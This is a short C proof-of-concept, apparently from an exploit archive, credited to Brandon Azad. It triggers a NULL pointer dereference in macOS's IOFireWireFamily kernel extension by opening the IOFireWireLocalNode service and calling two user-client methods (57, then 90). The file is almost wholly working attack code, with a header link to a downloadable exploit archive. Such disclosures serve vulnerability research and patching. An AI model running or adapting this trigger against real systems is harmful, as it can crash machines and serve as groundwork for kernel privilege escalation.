51 lines
No EOL
1.2 KiB
C
51 lines
No EOL
1.2 KiB
C
/*
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* IOFireWireFamily-null-deref.c
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* Brandon Azad
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*
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* NULL pointer dereference in IOFireWireUserClient::setAsyncRef_IsochChannelForceStop.
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*
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* Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44236.zip
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*/
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#include <IOKit/IOKitLib.h>
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int main() {
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int ret = 0;
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io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
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IOServiceMatching("IOFireWireLocalNode"));
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if (service == IO_OBJECT_NULL) {
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ret = 1;
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goto fail1;
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}
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io_connect_t connect;
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kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &connect);
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IOObjectRelease(service);
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if (kr != KERN_SUCCESS) {
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ret = 2;
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goto fail1;
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}
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// isochChannel_Create
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uint64_t args[3] = { 0, 0x100, 0x100 };
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uint64_t handle = 0;
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uint32_t output_count = 1;
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kr = IOConnectCallMethod(connect, 57,
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args, sizeof(args) / sizeof(*args), NULL, 0,
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&handle, &output_count, NULL, NULL);
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if (kr != KERN_SUCCESS) {
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ret = 3;
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goto fail2;
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}
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// setAsyncRef_IsochChannelForceStop
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kr = IOConnectCallMethod(connect, 90,
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&handle, 1, NULL, 0,
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NULL, NULL, NULL, NULL);
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if (kr != KERN_SUCCESS) {
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ret = 4;
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goto fail2;
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}
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fail2:
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IOServiceClose(connect);
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fail1:
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return ret;
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} |